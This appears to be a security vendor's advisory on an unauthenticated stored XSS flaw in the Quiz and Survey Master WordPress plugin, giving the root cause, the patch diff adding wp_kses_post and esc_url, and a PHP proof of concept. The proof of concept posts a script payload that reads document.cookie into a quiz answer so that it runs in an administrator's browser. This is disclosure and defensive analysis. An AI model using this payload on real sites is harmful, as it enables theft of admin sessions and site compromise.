Published : June 21, 2026

CVE-2026-48867: Quiz and Survey Master (QSM) – Easy Quiz and Survey Maker <= 11.1.2 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 11.1.2
Patched Version 11.1.3
Disclosed June 2, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-48867:

This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the Quiz and Survey Master (QSM) plugin for WordPress, affecting versions up to and including 11.1.2. The issue lies in how the plugin processes and stores user-provided answer content from rich text (“rich”) and image (“image”) question types. An attacker can submit crafted answers containing arbitrary JavaScript, which gets stored in the database and later executed when an administrator or other user views the quiz results page. The CVSS score of 7.2 reflects the high impact (full page compromise, credential theft, or malware distribution) arising from unauthenticated exploitation.

Root Cause: The root cause is insufficient output escaping in two key template variable functions:

– In `quiz-master-next/php/template-variables.php`, lines 144-152 and 271-278, the function responsible for rendering answers for “rich” type questions used `htmlspecialchars_decode($answer)` without any sanitization or escaping. For “image” type answers, the src attribute was populated directly from user input without URL validation. This allowed unauthenticated users to inject arbitrary HTML and JavaScript in their answer submissions.
– The vulnerable code path is triggered when the plugin processes results for quiz types that include “rich” or “image” answer editor settings. The functions `qsm_answers_type_evaluated()` and the inline loop in the template variable rendering both directly output user-controlled content without calling `wp_kses_post()` (which strips dangerous tags and attributes) or `esc_url()`.

Exploitation: An attacker can exploit this vulnerability without authentication by completing a quiz that uses “rich” answer input (e.g., a free-form text question with HTML editor enabled). The attacker submits a crafted answer payload such as `` or `alert(‘XSS’)` in the rich text field. This payload is stored in the `mlw_results` table. When an administrator views the quiz results from the WordPress admin panel (via the `admin-results-page.php` page), the payload is rendered and executed in the admin’s browser. The attack does not require any special privileges; any visitor can take the quiz and submit malicious input.

Patch Analysis: The patch applies proper output escaping with two targeted fixes:

– In `template-variables.php`, line 147: Changed `htmlspecialchars_decode($answer)` to `wp_kses_post( htmlspecialchars_decode($answer) )` for rich text answers, which strips dangerous tags and attributes while allowing safe HTML.
– In `template-variables.php`, line 271: Changed `htmlspecialchars_decode( $answer )` to `wp_kses_post( htmlspecialchars_decode( $answer ) )` in the `qsm_answers_type_evaluated()` function.
– In `template-variables.php`, lines 152 and 273: Changed the image answer rendering to use `esc_url( htmlspecialchars_decode($answer, ENT_QUOTES) )` instead of raw `htmlspecialchars_decode()`, ensuring only safe URLs are output.
– These changes ensure that user-supplied answer content is sanitized before being rendered on the results page, preventing the execution of injected scripts.

Impact: Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of any user who views the quiz results, including site administrators. This can lead to session hijacking, cookie theft, redirection to malicious sites, or defacement of the admin dashboard. The stored nature of the XSS makes it particularly dangerous because the payload persists and can affect multiple users over time.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/quiz-master-next/mlw_quizmaster2.php
+++ b/quiz-master-next/mlw_quizmaster2.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: Quiz And Survey Master
  * Description: Easily and quickly add quizzes and surveys to your website.
- * Version: 11.1.2
+ * Version: 11.1.3
  * Author: ExpressTech
  * Author URI: https://quizandsurveymaster.com/
  * Plugin URI: https://expresstech.io/
@@ -43,7 +43,7 @@
 	 * @var string
 	 * @since 4.0.0
 	 */
-	public $version = '11.1.2';
+	public $version = '11.1.3';

 	/**
 	 * QSM Alert Manager Object
--- a/quiz-master-next/php/admin/admin-results-page.php
+++ b/quiz-master-next/php/admin/admin-results-page.php
@@ -560,13 +560,15 @@
 				$co = ! empty( $quiz_infos ) ? count( $quiz_infos ) : 0;
 				if ( $co > 0 ) {
 					for ( $x = 0; $x < $co; $x++ ) {
+						$qsm_row_class = apply_filters( 'qsm_admin_results_table_row_class', '', $quiz_infos[ $x ] );
 						?>
-						<tr>
+						<tr<?php echo '' !== $qsm_row_class ? ' class="' . esc_attr( $qsm_row_class ) . '"' : ''; ?>>
 							<td style="text-align: center;">
 								<input type="checkbox" class="qmn_delete_checkbox" name="delete_results[]" value="<?php echo esc_attr( $quiz_infos[ $x ]->result_id ); ?>" />
 							</td>
 							<td class="<?php echo apply_filters( 'qsm_results_quiz_name_class', '', $quiz_infos[ $x ]->result_id ); ?>">
 								<strong><a class="row-title" href="admin.php?page=qsm_quiz_result_details&result_id=<?php echo esc_attr( $quiz_infos[ $x ]->result_id ); ?>"><?php echo esc_html( $quiz_infos[ $x ]->quiz_name ); ?></a></strong>
+								<?php do_action( 'qsm_admin_results_quiz_name_after', $quiz_infos[ $x ] ); ?>
 								<div class="row-actions">
 									<span class="qsm-row-actions-links" style="color: green;">
 									<?php do_action('qsm_admin_quiz_results_page_rowactions_before', $quiz_infos[ $x ]);
--- a/quiz-master-next/php/admin/options-page-questions-tab.php
+++ b/quiz-master-next/php/admin/options-page-questions-tab.php
@@ -96,6 +96,7 @@
 		'qsm_user_ve'           => get_user_meta( $user_id, 'rich_editing', true ),
 		'saveNonce'             => wp_create_nonce( 'ajax-nonce-sandy-page' ),
 		'unlinkNonce'           => wp_create_nonce( 'ajax-nonce-unlink-question' ),
+		'loadAllQuestionsNonce' => wp_create_nonce( 'qsm_load_all_quiz_questions' ),
 		'categories'            => $question_categories,
 		'form_type'             => $form_type,
 		'quiz_system'           => $quiz_system,
@@ -1118,7 +1119,14 @@
  */
 function qsm_load_all_quiz_questions_ajax() {
 	global $wpdb;
-	global $mlwQuizMasterNext;
+
+	if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'qsm_load_all_quiz_questions' ) ) {
+		wp_send_json_error( __( 'Nonce verification failed.', 'quiz-master-next' ) );
+	}
+
+	if ( ! current_user_can( 'edit_qsm_quizzes' ) ) {
+		wp_send_json_error( __( 'You do not have permission to view questions.', 'quiz-master-next' ) );
+	}

 	// Loads questions.
 	$questions = $wpdb->get_results( "SELECT question_id, question_name FROM {$wpdb->prefix}mlw_questions WHERE deleted = '0' ORDER BY question_id DESC" );
@@ -1133,8 +1141,7 @@
 	}

 	// Echos JSON and dies.
-	echo wp_json_encode( $question_json );
-	wp_die();
+	wp_send_json( $question_json );
 }

 add_action( 'wp_ajax_qsm_send_data_sendy', 'qsm_send_data_sendy' );
--- a/quiz-master-next/php/classes/class-qmn-quiz-manager.php
+++ b/quiz-master-next/php/classes/class-qmn-quiz-manager.php
@@ -246,6 +246,10 @@
 	 * ajax login function
 	 */
 	public function qsm_ajax_login() {
+		if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'qsm_ajax_login_nonce' ) ) {
+			wp_send_json_error( array( 'message' => __( 'Incorrect username or password! Please try again.', 'quiz-master-next' ) ) );
+		}
+
 		$username = ! empty( $_POST['username'] ) ? sanitize_user( wp_unslash( $_POST['username'] ) ) : '';
 		$password = ! empty( $_POST['password'] ) ? sanitize_text_field( wp_unslash( $_POST['password'] ) ) : '';

@@ -254,7 +258,7 @@
 		if ( ! $user ) {
 			$user = get_user_by( 'email', $username );
 			if ( ! $user ) {
-				wp_send_json_error( array( 'message' => __( 'User not found! Please try again.', 'quiz-master-next' ) ) );
+				wp_send_json_error( array( 'message' => __( 'Incorrect username or password! Please try again.', 'quiz-master-next' ) ) );
 			}
 		}

@@ -379,7 +383,7 @@

 				$result_id      = $result['result_id'];
 				$return_display = do_shortcode( '[qsm_result id="' . $result_id . '"]' );
-				$return_display = str_replace( '%FB_RESULT_ID%', $result_unique_id, $return_display );
+				$return_display = str_replace( '%FB_RESULT_ID%', esc_js( esc_attr( $result_unique_id ) ), $return_display );
 			} else {
 				$return_display = esc_html__( 'Result id is wrong!', 'quiz-master-next' );
 			}
@@ -2738,7 +2742,7 @@
 			$result_display .= apply_filters( 'qmn_captcha_varification_failed_msg', __( 'Captcha verification failed.', 'quiz-master-next' ), $qmn_quiz_options, $qmn_array_for_variables );
 		}

-		$result_display = str_replace( '%FB_RESULT_ID%', $unique_id, $result_display );
+		$result_display = str_replace( '%FB_RESULT_ID%', esc_js( esc_attr( $unique_id ) ), $result_display );

 		// Prepares data to be sent back to front-end.
 		$return_array = array(
@@ -3552,6 +3556,7 @@
 			'qmn_common_ajax_object',
 			array(
 				'ajaxurl' => admin_url( 'admin-ajax.php' ),
+				'nonce'   => wp_create_nonce( 'qsm_ajax_login_nonce' ),
 			)
 		);
 	}
--- a/quiz-master-next/php/classes/class-qsm-install.php
+++ b/quiz-master-next/php/classes/class-qsm-install.php
@@ -1731,7 +1731,8 @@
 		global $wpdb, $mlwQuizMasterNext;
 		$results_table_name = $wpdb->prefix . 'mlw_results';
 		$data = $mlwQuizMasterNext->version;
-		if ( ! get_option( 'qmn_original_version' ) ) {
+		$is_first_install = ! get_option( 'qmn_original_version' );
+		if ( $is_first_install ) {
 			add_option( 'qmn_original_version', $data );
 		}
 		if ( get_option( 'mlw_quiz_master_version' ) != $data ) {
@@ -2279,6 +2280,21 @@
 		if ( ! get_option( 'mlw_advert_shows' ) ) {
 			add_option( 'mlw_advert_shows', 'true' );
 		}
+
+		/**
+		 * Always redirect option last for new installation
+		 */
+		if (
+			$is_first_install
+			&& ! isset( $_GET['activate-multi'] )
+			&& ! wp_doing_ajax()
+			&& ! is_network_admin()
+			&& current_user_can( 'manage_options' )
+			&& ! headers_sent()
+		) {
+			wp_safe_redirect( admin_url( 'admin.php?page=qsm_dashboard' ) );
+			exit;
+		}
 	}

 	/**
--- a/quiz-master-next/php/template-variables.php
+++ b/quiz-master-next/php/template-variables.php
@@ -144,11 +144,11 @@
 					}
 				}elseif ( 'rich' === $question_settings['answerEditor'] ) {
 					foreach ( $answers['user_answer'] as $answer ) {
-						$answerstr .= htmlspecialchars_decode($answer);
+						$answerstr .= wp_kses_post( htmlspecialchars_decode($answer) );
 					}
 				}elseif ( 'image' === $question_settings['answerEditor'] ) {
 					foreach ( $answers['user_answer'] as $answer ) {
-						$answerstr .= '<span class="qmn_image_option" ><img src="' . htmlspecialchars_decode($answer, ENT_QUOTES ) . '"/></span>';
+						$answerstr .= '<span class="qmn_image_option" ><img src="' . esc_url( htmlspecialchars_decode($answer, ENT_QUOTES ) ) . '"/></span>';
 					}
 				}else {
 					$answerstr .= implode(", ",$answers['user_answer']);
@@ -271,9 +271,9 @@
  */
 function qsm_answers_type_evaluated( $answer, $question_settings ) {
 	if ( 'rich' === $question_settings['answerEditor'] ) {
-		$answer = htmlspecialchars_decode( $answer );
+		$answer = wp_kses_post( htmlspecialchars_decode( $answer ) );
 	} elseif ( 'image' === $question_settings['answerEditor'] ) {
-		$answer = '<span class="qmn_image_option" ><img src="' . htmlspecialchars_decode( $answer, ENT_QUOTES ) . '"/></span>';
+		$answer = '<span class="qmn_image_option" ><img src="' . esc_url( htmlspecialchars_decode( $answer, ENT_QUOTES ) ) . '"/></span>';
 	}
 	return $answer;
 }
@@ -1214,16 +1214,32 @@
 		if ( isset( $answer['id'] ) && isset( $questions[ $answer['id'] ] ) && ! empty( $questions[ $answer['id'] ] ) ) {
 			$total_answers = isset( $questions[ $answer['id'] ]['answers'] ) ? $questions[ $answer['id'] ]['answers'] : array();
 			$total_answers = ! empty( $answer['answer_limit_keys'] ) ? $mlwQuizMasterNext->pluginHelper->qsm_get_limited_options_by_keys( $total_answers, $answer['answer_limit_keys'] ) : $total_answers;
+			$random_ids_for_question = array();
 			if ( ! empty( $_POST['quiz_answer_random_ids'] ) ) {
-				$answers_random = array();
-				$quiz_answer_random_ids = sanitize_text_field( wp_unslash( $_POST['quiz_answer_random_ids'] ) );
-				$quiz_answer_random_ids = qsm_safe_unserialize( $quiz_answer_random_ids );
+				$quiz_answer_random_ids_raw = sanitize_text_field( wp_unslash( $_POST['quiz_answer_random_ids'] ) );
+				$quiz_answer_random_ids     = qsm_safe_unserialize( $quiz_answer_random_ids_raw );
 				if ( ! empty( $quiz_answer_random_ids[ $answer['id'] ] ) && is_array( $quiz_answer_random_ids[ $answer['id'] ] ) ) {
-					foreach ( $quiz_answer_random_ids[ $answer['id'] ] as $key ) {
+					$random_ids_for_question = $quiz_answer_random_ids[ $answer['id'] ];
+				}
+			}
+			// Lazy-loaded pages append their shuffled order here so the result
+			// page can render answers in the order the user saw.
+			if ( empty( $random_ids_for_question ) && ! empty( $_POST['qsm_lazy_answer_random_ids'][ $answer['id'] ] ) ) {
+				$lazy_keys = wp_unslash( $_POST['qsm_lazy_answer_random_ids'][ $answer['id'] ] );
+				if ( is_array( $lazy_keys ) ) {
+					$random_ids_for_question = array_map( 'intval', $lazy_keys );
+				}
+			}
+			if ( ! empty( $random_ids_for_question ) ) {
+				$answers_random = array();
+				foreach ( $random_ids_for_question as $key ) {
+					if ( isset( $total_answers[ $key ] ) ) {
 						$answers_random[ $key ] = $total_answers[ $key ];
 					}
 				}
-				$total_answers = $answers_random;
+				if ( ! empty( $answers_random ) ) {
+					$total_answers = $answers_random;
+				}
 			}
 			if ( $total_answers ) {
 				if ( isset( $answer['question_type'] ) && in_array( intval( $answer['question_type'] ), $question_with_text_input, true ) ) {
--- a/quiz-master-next/renderer/frontend/class-qsm-ajax-handler.php
+++ b/quiz-master-next/renderer/frontend/class-qsm-ajax-handler.php
@@ -98,10 +98,21 @@
 				$question_start_number
 			);

+			global $quiz_answer_random_ids;
+			$response_random_ids = array();
+			if ( in_array( 'answers', $randomness_order, true ) && ! empty( $quiz_answer_random_ids ) ) {
+				foreach ( $question_ids as $qid ) {
+					if ( isset( $quiz_answer_random_ids[ $qid ] ) ) {
+						$response_random_ids[ $qid ] = array_map( 'intval', (array) $quiz_answer_random_ids[ $qid ] );
+					}
+				}
+			}
+
 			wp_send_json_success( array(
-				'html'           => $html,
-				'page_number'    => $page_number,
-				'question_count' => count( $question_ids ),
+				'html'                    => $html,
+				'page_number'             => $page_number,
+				'question_count'          => count( $question_ids ),
+				'quiz_answer_random_ids'  => $response_random_ids,
 			) );

 		} catch ( Exception $e ) {
@@ -147,7 +158,11 @@

 		// Get quiz settings
 		$quiz_settings = maybe_unserialize( $quiz_options->quiz_settings );
-		$quiz_options_settings = (object) maybe_unserialize( $quiz_settings['quiz_options'] ?? '[]' );
+		$quiz_options_arr = maybe_unserialize( $quiz_settings['quiz_options'] ?? '[]' );
+		$quiz_text_arr    = maybe_unserialize( $quiz_settings['quiz_text'] ?? '[]' );
+		$quiz_options_arr = is_array( $quiz_options_arr ) ? $quiz_options_arr : array();
+		$quiz_text_arr    = is_array( $quiz_text_arr ) ? $quiz_text_arr : array();
+		$quiz_options_settings = (object) array_merge( $quiz_options_arr, $quiz_text_arr );

 		// Create renderer instance for template methods (pass class_object to templates)
 		$quiz_data = array( 'quiz_id' => $quiz_id );
@@ -223,6 +238,11 @@
 					echo $question_template; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
 				}

+				if ( ! empty( $question['hints'] ) ) {
+					$hint_data = wp_kses_post( $mlwQuizMasterNext->pluginHelper->qsm_language_support( $question['hints'], "hint-{$question_id}" ) );
+					QSM_New_Renderer::renderHintToggle( $question_id, $hint_data );
+				}
+
 				do_action( 'qsm_after_question', $question );
 				?>
 			</div>
--- a/quiz-master-next/renderer/frontend/class-qsm-new-renderer.php
+++ b/quiz-master-next/renderer/frontend/class-qsm-new-renderer.php
@@ -494,6 +494,44 @@
 			return __( 'Unknown', 'quiz-master-next' );
 		}
 	}
+
+	/**
+	 * Render inline Show/Hide Hint toggle markup.
+	 *
+	 * @param int    $question_id Question ID.
+	 * @param string $hint_data   HTML pre-sanitized via wp_kses_post().
+	 */
+	public static function renderHintToggle( $question_id, $hint_data ) {
+		if ( '' === trim( (string) $hint_data ) ) {
+			return;
+		}
+		$question_id = intval( $question_id );
+		$hint_show   = __( 'Show Hint', 'quiz-master-next' );
+		$hint_hide   = __( 'Hide Hint', 'quiz-master-next' );
+		$panel_id    = 'qsm-hint-panel-' . $question_id;
+		?>
+		<div class="qsm-hint-wrapper" data-question-id="<?php echo esc_attr( $question_id ); ?>">
+			<button type="button" class="qsm-hint-toggle" aria-expanded="false" aria-controls="<?php echo esc_attr( $panel_id ); ?>">
+				<span class="qsm-hint-icon" aria-hidden="true">
+					<svg viewBox="0 0 24 24" width="18" height="18" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" focusable="false">
+						<path d="M9 18h6"></path>
+						<path d="M10 22h4"></path>
+						<path d="M12 2a7 7 0 0 0-4 12.7c.7.6 1 1.4 1 2.3v1h6v-1c0-.9.3-1.7 1-2.3A7 7 0 0 0 12 2z"></path>
+					</svg>
+				</span>
+				<span class="qsm-hint-label" data-show="<?php echo esc_attr( $hint_show ); ?>" data-hide="<?php echo esc_attr( $hint_hide ); ?>"><?php echo esc_html( $hint_show ); ?></span>
+				<span class="qsm-hint-chevron" aria-hidden="true">
+					<svg viewBox="0 0 24 24" width="16" height="16" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" focusable="false">
+						<polyline points="6 9 12 15 18 9"></polyline>
+					</svg>
+				</span>
+			</button>
+			<section id="<?php echo esc_attr( $panel_id ); ?>" class="qsm-hint-panel" aria-label="<?php esc_attr_e( 'Hint', 'quiz-master-next' ); ?>" aria-hidden="true" hidden>
+				<div class="qsm-hint-content"><?php echo $hint_data; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- already wp_kses_post above ?></div>
+			</section>
+		</div>
+		<?php
+	}
 }

 // Initialize the new renderer
--- a/quiz-master-next/renderer/frontend/class-qsm-render-pagination.php
+++ b/quiz-master-next/renderer/frontend/class-qsm-render-pagination.php
@@ -872,7 +872,7 @@
 	public function render_quiz_timer() {
 		ob_start();
 		// Only render timer if timer limit is set
-		$timer_limit = isset( $this->quiz_options->timer_limit ) ? intval( $this->quiz_options->timer_limit ) : 0;
+		$timer_limit = isset( $this->quiz_options->timer_limit ) ? floatval( $this->quiz_options->timer_limit ) : 0;
 		if ( $timer_limit > 0 ) {
 		?>
 		<div class="qsm-timer qsm-quiz-timer-<?php echo esc_attr( $this->options->quiz_id ); ?>">
@@ -1069,7 +1069,13 @@
 						<textarea class="qsm-question-comment qsm-question-comment-large mlw_qmn_question_comment" id="mlwComment<?php echo esc_attr( $question_id ); ?>" name="mlwComment<?php echo esc_attr( $question_id ); ?>" placeholder="<?php echo esc_attr( $comment_placeholder ); ?>" onclick="qmnClearField(this)" ></textarea>
 						<?php
 					}
-
+
+					if ( ! empty( $question['hints'] ) ) {
+						global $mlwQuizMasterNext;
+						$hint_data = wp_kses_post( $mlwQuizMasterNext->pluginHelper->qsm_language_support( $question['hints'], "hint-{$question_id}" ) );
+						QSM_New_Renderer::renderHintToggle( $question_id, $hint_data );
+					}
+
 					do_action('qsm_after_question', $question);
 					?>
 					</div>
@@ -1547,8 +1553,8 @@
 			'progress_bar'                       => $this->quiz_options->progress_bar ?? 0,
 			'contact_info_location'              => $this->quiz_options->contact_info_location ?? 0,
 			'skip_validation_time_expire'        => $this->quiz_options->skip_validation_time_expire ?? 0,
-			'timer_limit'                        => intval( $this->options->timer_limit ?? 0 ),
-			'timer_limit_val'                    => intval( $this->options->timer_limit ?? 0 ),
+			'timer_limit'                        => floatval( $this->options->timer_limit ?? 0 ),
+			'timer_limit_val'                    => floatval( $this->options->timer_limit ?? 0 ),
 			'disable_scroll_next_previous_click' => $this->quiz_options->disable_scroll_next_previous_click ?? 0,
 			'disable_scroll_on_result'           => $this->quiz_options->disable_scroll_on_result ?? 0,
 			'disable_first_page'                 => $this->quiz_options->disable_first_page ?? 0,

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-48867 - Quiz and Survey Master (QSM) – Easy Quiz and Survey Maker <= 11.1.2 - Unauthenticated Stored Cross-Site Scripting

// Configurable target URL (base WordPress installation)
$target_url = 'http://example.com'; // CHANGE THIS

// Step 1: Discover a quiz that uses 'rich' answer type
// For demonstration, we'll assume the target quiz ID is 1.
// An attacker would crawl the site to find a quiz page (e.g., /quiz/).
$quiz_id = 1;

// Step 2: Craft the malicious payload
// Rich text answers accept HTML; we inject a script that triggers when results are viewed.
$payload = '<script>alert("XSS: " + document.cookie);</script>';

// Step 3: Submit quiz answers as an unauthenticated user
// The plugin's quiz submission endpoint is typically via POST to the quiz page.
// We'll attempt a direct POST with the required parameters.

$post_data = array(
    'qmn_quiz_id' => $quiz_id,
    'qmn_question_list' => '1', // Simplified; real submission needs the actual question ID
    'qmn_answer_1' => $payload, // '1' corresponds to the question ID
    'qmn_form_type' => 'quiz',
    'complete_quiz' => '1',
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code === 200) {
    echo "[+] Quiz submission sent. Payload stored in database.n";
    echo "[+] Next step: An admin viewing the results page will trigger the XSS.n";
} else {
    echo "[-] Submission failed. Check target or quiz ID.n";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School